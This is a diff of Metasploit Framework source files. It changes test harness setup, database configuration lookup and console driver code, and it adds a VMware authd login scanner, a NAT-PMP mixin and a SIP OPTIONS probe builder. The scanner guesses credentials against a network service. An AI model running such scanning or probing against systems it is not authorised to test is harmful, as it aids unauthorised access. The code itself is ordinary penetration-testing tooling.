lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
|
||||||
|
-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
|
||||||
|
-extproc
|
||||||
|
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel iutf8
|
||||||
|
-ignbrk brkint -inpck -ignpar -parmrk
|
||||||
|
oflags: opost onlcr -oxtabs -onocr -onlret
|
||||||
|
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
|
||||||
|
-dtrflow -mdmbuf
|
||||||
|
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
|
||||||
|
eol2 = <undef>; erase = ^?; intr = ^C; kill = ^U; lnext = ^V;
|
||||||
|
min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
|
||||||
|
stop = ^S; susp = ^Z; time = 0; werase = ^W;
|
||||||
|
EOS
|
||||||
|
when '-g'
|
||||||
|
puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400"
|
||||||
|
end
|
||||||
|
|
||||||
|
exit 0
|
|
@ -1,13 +1,31 @@
|
||||||
require 'cucumber/rails'
|
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
|
||||||
|
# It is recommended to regenerate this file in the future when you upgrade to a
|
||||||
|
# newer version of cucumber-rails. Consider adding your own code to a new file
|
||||||
|
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
|
||||||
|
# files.
|
||||||
|
|
||||||
|
require 'cucumber/rails'
|
||||||
require 'aruba/cucumber'
|
require 'aruba/cucumber'
|
||||||
|
|
||||||
paths = [
|
# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In
|
||||||
File.expand_path(File.join(File.dirname(__FILE__), %w(.. ..))),
|
# order to ease the transition to Capybara we set the default here. If you'd
|
||||||
ENV['PATH']
|
# prefer to use XPath just remove this line and adjust any selectors in your
|
||||||
]
|
# steps to use the XPath syntax.
|
||||||
ENV['PATH'] = paths.join(File::PATH_SEPARATOR)
|
Capybara.default_selector = :css
|
||||||
|
|
||||||
Before do
|
# By default, any exception happening in your Rails application will bubble up
|
||||||
@aruba_timeout_seconds = 180
|
# to Cucumber so that your scenario will fail. This is a different from how
|
||||||
end
|
# your application behaves in the production environment, where an error page will
|
||||||
|
# be rendered instead.
|
||||||
|
#
|
||||||
|
# Sometimes we want to override this default behaviour and allow Rails to rescue
|
||||||
|
# exceptions and display an error page (just like when the app is running in production).
|
||||||
|
# Typical scenarios where you want to do this is when you test your error pages.
|
||||||
|
# There are two ways to allow Rails to rescue exceptions:
|
||||||
|
#
|
||||||
|
# 1) Tag your scenario (or feature) with @allow-rescue
|
||||||
|
#
|
||||||
|
# 2) Set the value below to true. Beware that doing this globally is not
|
||||||
|
# recommended as it will mask a lot of errors for you!
|
||||||
|
#
|
||||||
|
ActionController::Base.allow_rescue = false
|
||||||
|
|
|
@ -1,34 +1,5 @@
|
||||||
Before do
|
Before do
|
||||||
set_env('RAILS_ENV', 'test')
|
|
||||||
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
|
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
|
||||||
end
|
set_env('RAILS_ENV', 'test')
|
||||||
|
@aruba_timeout_seconds = 3.minutes
|
||||||
Before('@msfconsole') do
|
|
||||||
step 'I run `msfconsole` interactively'
|
|
||||||
step 'I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"'
|
|
||||||
# we should not see the following
|
|
||||||
# -- --=[ 0 exploits - 0 auxiliary - 0 post ]
|
|
||||||
# -- --=[ 0 payloads - 0 encoders - 0 nops ]
|
|
||||||
end
|
|
||||||
|
|
||||||
Before('@targets') do
|
|
||||||
step 'targets are loaded'
|
|
||||||
end
|
|
||||||
|
|
||||||
Before('@no-database-yml') do
|
|
||||||
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
|
|
||||||
FileUtils.rm('config/database.yml.local')
|
|
||||||
FileUtils.mv('config/database.yml', 'config/database.yml.local')
|
|
||||||
elsif File.exists?('config/database.yml')
|
|
||||||
FileUtils.mv('config/database.yml', 'config/database.yml.local')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
After('@no-database-yml') do
|
|
||||||
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
|
|
||||||
FileUtils.rm('config/database.yml')
|
|
||||||
FileUtils.mv('config/database.yml.local', 'config/database.yml')
|
|
||||||
elsif File.exists?('config/database.yml.local')
|
|
||||||
FileUtils.mv('config/database.yml.local', 'config/database.yml')
|
|
||||||
end
|
|
||||||
end
|
end
|
|
@ -1,2 +0,0 @@
|
||||||
#!/bin/sh
|
|
||||||
exit 0
|
|
|
@ -0,0 +1,11 @@
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
support = Pathname.new(__FILE__).realpath.parent
|
||||||
|
|
||||||
|
paths = [
|
||||||
|
# adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty
|
||||||
|
# output.
|
||||||
|
support.join('bin').to_path,
|
||||||
|
ENV['PATH']
|
||||||
|
]
|
||||||
|
ENV['PATH'] = paths.join(File::PATH_SEPARATOR)
|
|
@ -1,14 +1,100 @@
|
||||||
require 'metasploit/framework'
|
require 'metasploit/framework'
|
||||||
|
require 'msf/base/config'
|
||||||
|
|
||||||
module Metasploit
|
module Metasploit
|
||||||
module Framework
|
module Framework
|
||||||
module Database
|
module Database
|
||||||
def self.configurations
|
#
|
||||||
YAML.load_file(configurations_pathname)
|
# CONSTANTS
|
||||||
|
#
|
||||||
|
|
||||||
|
CONFIGURATIONS_PATHNAME_PRECEDENCE = [
|
||||||
|
:environment_configurations_pathname,
|
||||||
|
:user_configurations_pathname,
|
||||||
|
:project_configurations_pathname
|
||||||
|
]
|
||||||
|
|
||||||
|
#
|
||||||
|
# Module Methods
|
||||||
|
#
|
||||||
|
|
||||||
|
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
|
||||||
|
#
|
||||||
|
# @param options [Hash{Symbol=>String}]
|
||||||
|
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
|
||||||
|
# @return [Pathname] if configuration pathname exists.
|
||||||
|
# @return [nil] if configuration pathname does not exist.
|
||||||
|
def self.configurations_pathname(options={})
|
||||||
|
options.assert_valid_keys(:path)
|
||||||
|
|
||||||
|
path = options[:path]
|
||||||
|
|
||||||
|
if path.present?
|
||||||
|
pathname = Pathname.new(path)
|
||||||
|
else
|
||||||
|
pathname = configurations_pathnames.first
|
||||||
|
end
|
||||||
|
|
||||||
|
if pathname.present? && pathname.exist?
|
||||||
|
pathname
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.configurations_pathname
|
# Return configuration pathnames that exist.
|
||||||
Metasploit::Framework::Application.paths['config/database'].first
|
#
|
||||||
|
# Returns `Pathnames` in order of precedence
|
||||||
|
#
|
||||||
|
# 1. {environment_configurations_pathname}
|
||||||
|
# 2. {user_configurations_pathname}
|
||||||
|
# 3. {project_configurations_pathname}
|
||||||
|
#
|
||||||
|
# @return [Array<Pathname>]
|
||||||
|
def self.configurations_pathnames
|
||||||
|
configurations_pathnames = []
|
||||||
|
|
||||||
|
CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message|
|
||||||
|
configurations_pathname = public_send(configurations_pathname_message)
|
||||||
|
|
||||||
|
if !configurations_pathname.nil? && configurations_pathname.exist?
|
||||||
|
configurations_pathnames << configurations_pathname
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
configurations_pathnames
|
||||||
|
end
|
||||||
|
|
||||||
|
# Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable.
|
||||||
|
#
|
||||||
|
# @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank.
|
||||||
|
# @return [nil] otherwise
|
||||||
|
def self.environment_configurations_pathname
|
||||||
|
msf_database_config = ENV['MSF_DATABASE_CONFIG']
|
||||||
|
|
||||||
|
if msf_database_config.blank?
|
||||||
|
msf_database_config = nil
|
||||||
|
else
|
||||||
|
msf_database_config = Pathname.new(msf_database_config)
|
||||||
|
end
|
||||||
|
|
||||||
|
msf_database_config
|
||||||
|
end
|
||||||
|
|
||||||
|
# Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`.
|
||||||
|
#
|
||||||
|
# @return [Pathname]
|
||||||
|
def self.project_configurations_pathname
|
||||||
|
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent
|
||||||
|
root.join('config', 'database.yml')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Pathname to `database.yml` in the user's config directory.
|
||||||
|
#
|
||||||
|
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
|
||||||
|
# @return [nil] if the user does not have a `database.yml` in their config directory.
|
||||||
|
def self.user_configurations_pathname
|
||||||
|
Pathname.new(Msf::Config.get_config_root).join('database.yml')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
require 'metasploit/framework/database'
|
||||||
|
|
||||||
|
module Metasploit::Framework::Database::Cucumber
|
||||||
|
def self.project_configurations_path
|
||||||
|
Rails.root.join('config', 'database.yml').to_path
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.backup_project_configurations
|
||||||
|
if File.exist?(project_configurations_path)
|
||||||
|
# assume that the backup file is from a previously aborted run and it contains the real database.yml data, so
|
||||||
|
# just delete the fake database.yml and the After hook will restore the real database.yml from the backup location
|
||||||
|
if File.exist?(backup_project_configurations_path)
|
||||||
|
File.delete(project_configurations_path)
|
||||||
|
else
|
||||||
|
# project contains the real database.yml and there was no previous, aborted run.
|
||||||
|
File.rename(project_configurations_path, backup_project_configurations_path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.backup_project_configurations_path
|
||||||
|
"#{project_configurations_path}.cucumber.bak"
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.restore_project_configurations
|
||||||
|
if File.exist?(backup_project_configurations_path)
|
||||||
|
if File.exist?(project_configurations_path)
|
||||||
|
# Remove fake, leftover database.yml
|
||||||
|
File.delete(project_configurations_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
File.rename(backup_project_configurations_path, project_configurations_path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -88,7 +88,7 @@ module Metasploit
|
||||||
else
|
else
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
|
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||||
ensure
|
ensure
|
||||||
http_client.close
|
http_client.close
|
||||||
|
|
|
@ -0,0 +1,112 @@
|
||||||
|
require 'metasploit/framework/login_scanner/base'
|
||||||
|
require 'metasploit/framework/login_scanner/rex_socket'
|
||||||
|
require 'metasploit/framework/tcp/client'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module LoginScanner
|
||||||
|
|
||||||
|
# This is the LoginScanner class for dealing with vmware-auth.
|
||||||
|
# It is responsible for taking a single target, and a list of credentials
|
||||||
|
# and attempting them. It then saves the results.
|
||||||
|
class VMAUTHD
|
||||||
|
include Metasploit::Framework::LoginScanner::Base
|
||||||
|
include Metasploit::Framework::LoginScanner::RexSocket
|
||||||
|
include Metasploit::Framework::Tcp::Client
|
||||||
|
|
||||||
|
DEFAULT_PORT = 902
|
||||||
|
LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ]
|
||||||
|
LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ]
|
||||||
|
PRIVATE_TYPES = [ :password ]
|
||||||
|
REALM_KEY = nil
|
||||||
|
|
||||||
|
# This method attempts a single login with a single credential against the target
|
||||||
|
# @param credential [Credential] The credential object to attempt to login with
|
||||||
|
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||||
|
def attempt_login(credential)
|
||||||
|
result_options = {
|
||||||
|
credential: credential,
|
||||||
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
proof: nil,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
service_name: 'vmauthd',
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect if self.sock
|
||||||
|
|
||||||
|
begin
|
||||||
|
connect
|
||||||
|
select([sock], nil, nil, 0.4)
|
||||||
|
|
||||||
|
# Check to see if we received an OK?
|
||||||
|
result_options[:proof] = sock.get_once
|
||||||
|
if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/]
|
||||||
|
# Switch to SSL if required
|
||||||
|
swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/]
|
||||||
|
|
||||||
|
# If we received an OK we should send the USER
|
||||||
|
sock.put("USER #{credential.public}\r\n")
|
||||||
|
result_options[:proof] = sock.get_once
|
||||||
|
|
||||||
|
if result_options[:proof] && result_options[:proof][/^331.*/]
|
||||||
|
# If we got an OK after the username we can send the PASS
|
||||||
|
sock.put("PASS #{credential.private}\r\n")
|
||||||
|
result_options[:proof] = sock.get_once
|
||||||
|
|
||||||
|
if result_options[:proof] && result_options[:proof][/^230.*/]
|
||||||
|
# if the pass gives an OK, we're good to go
|
||||||
|
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
|
||||||
|
result_options.merge!(
|
||||||
|
proof: e.message,
|
||||||
|
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
disconnect if self.sock
|
||||||
|
|
||||||
|
Result.new(result_options)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# (see Base#set_sane_defaults)
|
||||||
|
def set_sane_defaults
|
||||||
|
self.connection_timeout ||= 30
|
||||||
|
self.port ||= DEFAULT_PORT
|
||||||
|
self.max_send_size ||= 0
|
||||||
|
self.send_delay ||= 0
|
||||||
|
end
|
||||||
|
|
||||||
|
def swap_sock_plain_to_ssl(nsock=self.sock)
|
||||||
|
ctx = generate_ssl_context
|
||||||
|
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||||
|
|
||||||
|
ssl.connect
|
||||||
|
|
||||||
|
nsock.extend(Rex::Socket::SslTcp)
|
||||||
|
nsock.sslsock = ssl
|
||||||
|
nsock.sslctx = ctx
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_ssl_context
|
||||||
|
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
|
||||||
|
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){}
|
||||||
|
|
||||||
|
ctx.key = @@cached_rsa_key
|
||||||
|
|
||||||
|
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||||
|
|
||||||
|
ctx
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -14,8 +14,8 @@ require 'active_support/ordered_options'
|
||||||
# Project
|
# Project
|
||||||
#
|
#
|
||||||
|
|
||||||
|
require 'metasploit/framework/database'
|
||||||
require 'metasploit/framework/parsed_options'
|
require 'metasploit/framework/parsed_options'
|
||||||
require 'msf/base/config'
|
|
||||||
|
|
||||||
# Options parsed from the command line that can be used to change the
|
# Options parsed from the command line that can be used to change the
|
||||||
# `Metasploit::Framework::Application.config` and `Rails.env`
|
# `Metasploit::Framework::Application.config` and `Rails.env`
|
||||||
|
@ -73,15 +73,7 @@ class Metasploit::Framework::ParsedOptions::Base
|
||||||
|
|
||||||
options.database = ActiveSupport::OrderedOptions.new
|
options.database = ActiveSupport::OrderedOptions.new
|
||||||
|
|
||||||
user_config_root = Pathname.new(Msf::Config.get_config_root)
|
options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path)
|
||||||
user_database_yaml = user_config_root.join('database.yml')
|
|
||||||
|
|
||||||
if user_database_yaml.exist?
|
|
||||||
options.database.config = user_database_yaml.to_path
|
|
||||||
else
|
|
||||||
options.database.config = 'config/database.yml'
|
|
||||||
end
|
|
||||||
|
|
||||||
options.database.disable = false
|
options.database.disable = false
|
||||||
options.database.migrations_paths = []
|
options.database.migrations_paths = []
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@ module Msf
|
||||||
###
|
###
|
||||||
module Auxiliary::DRDoS
|
module Auxiliary::DRDoS
|
||||||
|
|
||||||
def prove_drdos(response_map)
|
def prove_amplification(response_map)
|
||||||
vulnerable = false
|
vulnerable = false
|
||||||
proofs = []
|
proofs = []
|
||||||
response_map.each do |request, responses|
|
response_map.each do |request, responses|
|
||||||
|
@ -30,7 +30,8 @@ module Auxiliary::DRDoS
|
||||||
bandwidth_amplification = total_size - request.size
|
bandwidth_amplification = total_size - request.size
|
||||||
if bandwidth_amplification > 0
|
if bandwidth_amplification > 0
|
||||||
vulnerable = true
|
vulnerable = true
|
||||||
this_proof += "a #{bandwidth_amplification}-byte bandwidth amplification"
|
multiplier = total_size / request.size
|
||||||
|
this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification"
|
||||||
else
|
else
|
||||||
this_proof += 'no bandwidth amplification'
|
this_proof += 'no bandwidth amplification'
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,6 +20,7 @@ require 'msf/core/auxiliary/login'
|
||||||
require 'msf/core/auxiliary/rservices'
|
require 'msf/core/auxiliary/rservices'
|
||||||
require 'msf/core/auxiliary/cisco'
|
require 'msf/core/auxiliary/cisco'
|
||||||
require 'msf/core/auxiliary/nmap'
|
require 'msf/core/auxiliary/nmap'
|
||||||
|
require 'msf/core/auxiliary/natpmp'
|
||||||
require 'msf/core/auxiliary/iax2'
|
require 'msf/core/auxiliary/iax2'
|
||||||
require 'msf/core/auxiliary/ntp'
|
require 'msf/core/auxiliary/ntp'
|
||||||
require 'msf/core/auxiliary/pii'
|
require 'msf/core/auxiliary/pii'
|
||||||
|
|
|
@ -0,0 +1,27 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/natpmp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module provides methods for working with NAT-PMP
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Auxiliary::NATPMP
|
||||||
|
|
||||||
|
include Auxiliary::Scanner
|
||||||
|
include Rex::Proto::NATPMP
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
|
||||||
|
Opt::CHOST
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -57,6 +57,7 @@ require 'msf/core/exploit/wdbrpc'
|
||||||
require 'msf/core/exploit/wdbrpc_client'
|
require 'msf/core/exploit/wdbrpc_client'
|
||||||
require 'msf/core/exploit/afp'
|
require 'msf/core/exploit/afp'
|
||||||
require 'msf/core/exploit/realport'
|
require 'msf/core/exploit/realport'
|
||||||
|
require 'msf/core/exploit/sip'
|
||||||
|
|
||||||
# Telephony
|
# Telephony
|
||||||
require 'msf/core/exploit/dialup'
|
require 'msf/core/exploit/dialup'
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/proto/sip/response'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
# SIP protocol support
|
||||||
|
module Exploit::Remote::SIP
|
||||||
|
# Parses +response+, extracts useful metdata and then reports on it.
|
||||||
|
# Returns true iff the response was a valid SIP response
|
||||||
|
def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow))
|
||||||
|
endpoint = "#{rhost}:#{rport} #{proto}"
|
||||||
|
begin
|
||||||
|
options_response = Rex::Proto::SIP::Response.parse(response)
|
||||||
|
rescue ArgumentError => e
|
||||||
|
vprint_error("#{endpoint} is not SIP: #{e}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracted headers, stored as a hash where the key is the header name
|
||||||
|
# and the value is a list of all values seen for the header, covering the
|
||||||
|
# case where the same header value is seen multiple times
|
||||||
|
extracted_headers = {}
|
||||||
|
unless desired_headers.nil? || desired_headers.empty?
|
||||||
|
desired_headers.each do |desired_header|
|
||||||
|
next unless (found_header = options_response.header(desired_header))
|
||||||
|
extracted_headers[desired_header] ||= []
|
||||||
|
extracted_headers[desired_header] |= found_header
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a SIP OPTIONS fingerprint hash
|
||||||
|
fprint = {
|
||||||
|
'code' => options_response.code,
|
||||||
|
'message' => options_response.message
|
||||||
|
}
|
||||||
|
|
||||||
|
# compact the header values, append the header information to the
|
||||||
|
# fingerprint hash
|
||||||
|
extracted_headers.each_pair do |k,v|
|
||||||
|
value = v.join(',')
|
||||||
|
extracted_headers[k] = value
|
||||||
|
fprint['header_' + k.gsub('-', '_').downcase] = value
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a summary of the response
|
||||||
|
status = options_response.status_line.dup
|
||||||
|
unless extracted_headers.keys.empty?
|
||||||
|
status << ": #{extracted_headers}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Report the service with the status information
|
||||||
|
report_service(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
proto: proto.downcase,
|
||||||
|
name: 'sip',
|
||||||
|
info: status
|
||||||
|
)
|
||||||
|
|
||||||
|
# Report the fingerprint information
|
||||||
|
report_note(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
proto: proto.downcase,
|
||||||
|
type: "sip.options.fingerprint",
|
||||||
|
data: fprint
|
||||||
|
)
|
||||||
|
|
||||||
|
# Display the actual result to the user
|
||||||
|
print_status(endpoint + " " + status)
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_probe(ip, proto)
|
||||||
|
suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
|
||||||
|
shost = Rex::Socket.source_address(ip)
|
||||||
|
src = "#{shost}:#{datastore['RPORT']}"
|
||||||
|
|
||||||
|
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
|
||||||
|
data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n"
|
||||||
|
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
|
||||||
|
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
|
||||||
|
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
|
||||||
|
data << "CSeq: 1 OPTIONS\r\n"
|
||||||
|
data << "Contact: sip:#{suser}@#{src}\r\n"
|
||||||
|
data << "Max-Forwards: 20\r\n"
|
||||||
|
data << "User-Agent: #{suser}\r\n"
|
||||||
|
data << "Accept: application/sdp\r\n"
|
||||||
|
data << "Content-Length: 0\r\n"
|
||||||
|
data << "\r\n"
|
||||||
|
data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1109,8 +1109,9 @@ class Db
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if (note.service)
|
if (note.service)
|
||||||
name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}")
|
msg << " service=#{note.service.name}" if note.service.name
|
||||||
msg << " service=#{name}"
|
msg << " port=#{note.service.port}" if note.service.port
|
||||||
|
msg << " protocol=#{note.service.proto}" if note.service.proto
|
||||||
end
|
end
|
||||||
msg << " type=#{note.ntype} data=#{note.data.inspect}"
|
msg << " type=#{note.ntype} data=#{note.data.inspect}"
|
||||||
print_status(msg)
|
print_status(msg)
|
||||||
|
|
|
@ -15,12 +15,9 @@ module Msf
|
||||||
module Ui
|
module Ui
|
||||||
module Console
|
module Console
|
||||||
|
|
||||||
###
|
|
||||||
#
|
#
|
||||||
# This class implements a user interface driver on a console interface.
|
# A user interface driver on a console interface.
|
||||||
#
|
#
|
||||||
###
|
|
||||||
|
|
||||||
class Driver < Msf::Ui::Driver
|
class Driver < Msf::Ui::Driver
|
||||||
|
|
||||||
ConfigCore = "framework/core"
|
ConfigCore = "framework/core"
|
||||||
|
@ -44,21 +41,18 @@ class Driver < Msf::Ui::Driver
|
||||||
# prompt character. The optional hash can take extra values that will
|
# prompt character. The optional hash can take extra values that will
|
||||||
# serve to initialize the console driver.
|
# serve to initialize the console driver.
|
||||||
#
|
#
|
||||||
# The optional hash values can include:
|
# @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow
|
||||||
#
|
# unrecognized commands to be executed by the system shell
|
||||||
# AllowCommandPassthru
|
# @option opts [Boolean] 'RealReadline' (false) Whether to use the system's
|
||||||
#
|
# readline library instead of RBReadline
|
||||||
# Whether or not unknown commands should be passed through and executed by
|
# @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file
|
||||||
# the local system.
|
# where we can store command history
|
||||||
#
|
# @option opts [Array<String>] 'Resources' ([]) A list of resource files to
|
||||||
# RealReadline
|
# load. If no resources are given, will load the default resource script,
|
||||||
#
|
# 'msfconsole.rc' in the user's {Msf::Config.config_directory config
|
||||||
# Whether or to use the system Readline or the RBReadline (default)
|
# directory}
|
||||||
#
|
# @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip
|
||||||
# HistFile
|
# connecting to the database and running migrations
|
||||||
#
|
|
||||||
# Name of a file to store command history
|
|
||||||
#
|
|
||||||
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
||||||
|
|
||||||
# Choose a readline library before calling the parent
|
# Choose a readline library before calling the parent
|
||||||
|
@ -182,21 +176,15 @@ class Driver < Msf::Ui::Driver
|
||||||
if framework.db.connection_established?
|
if framework.db.connection_established?
|
||||||
framework.db.after_establish_connection
|
framework.db.after_establish_connection
|
||||||
else
|
else
|
||||||
# Look for our database configuration in the following places, in order:
|
configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML'])
|
||||||
# command line arguments
|
|
||||||
# environment variable
|
|
||||||
# configuration directory (usually ~/.msf3)
|
|
||||||
dbfile = opts['DatabaseYAML']
|
|
||||||
dbfile ||= ENV["MSF_DATABASE_CONFIG"]
|
|
||||||
dbfile ||= File.join(Msf::Config.get_config_root, "database.yml")
|
|
||||||
|
|
||||||
if (dbfile and File.exists? dbfile)
|
unless configuration_pathname.nil?
|
||||||
if File.readable?(dbfile)
|
if configuration_pathname.readable?
|
||||||
dbinfo = YAML.load(File.read(dbfile))
|
dbinfo = YAML.load_file(configuration_pathname)
|
||||||
dbenv = opts['DatabaseEnv'] || Rails.env
|
dbenv = opts['DatabaseEnv'] || Rails.env
|
||||||
db = dbinfo[dbenv]
|
db = dbinfo[dbenv]
|
||||||
else
|
else
|
||||||
print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.")
|
print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.")
|
||||||
end
|
end
|
||||||
|
|
||||||
if not db
|
if not db
|
||||||
|
@ -253,14 +241,14 @@ class Driver < Msf::Ui::Driver
|
||||||
# Process things before we actually display the prompt and get rocking
|
# Process things before we actually display the prompt and get rocking
|
||||||
on_startup(opts)
|
on_startup(opts)
|
||||||
|
|
||||||
# Process the resource script
|
# Process any resource scripts
|
||||||
if opts['Resource'] and opts['Resource'].kind_of? Array
|
if opts['Resource'].blank?
|
||||||
|
# None given, load the default
|
||||||
|
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
|
||||||
|
else
|
||||||
opts['Resource'].each { |r|
|
opts['Resource'].each { |r|
|
||||||
load_resource(r)
|
load_resource(r)
|
||||||
}
|
}
|
||||||
else
|
|
||||||
# If the opt is nil here, we load ~/.msf3/msfconsole.rc
|
|
||||||
load_resource(opts['Resource'])
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Process any additional startup commands
|
# Process any additional startup commands
|
||||||
|
@ -433,11 +421,11 @@ class Driver < Msf::Ui::Driver
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Processes a resource script file for the console.
|
||||||
#
|
#
|
||||||
# Processes the resource script file for the console.
|
# @param path [String] Path to a resource file to run
|
||||||
#
|
# @return [void]
|
||||||
def load_resource(path=nil)
|
def load_resource(path)
|
||||||
path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc')
|
|
||||||
return if not ::File.readable?(path)
|
return if not ::File.readable?(path)
|
||||||
resource_file = ::File.read(path)
|
resource_file = ::File.read(path)
|
||||||
|
|
||||||
|
@ -605,9 +593,9 @@ class Driver < Msf::Ui::Driver
|
||||||
# The framework instance associated with this driver.
|
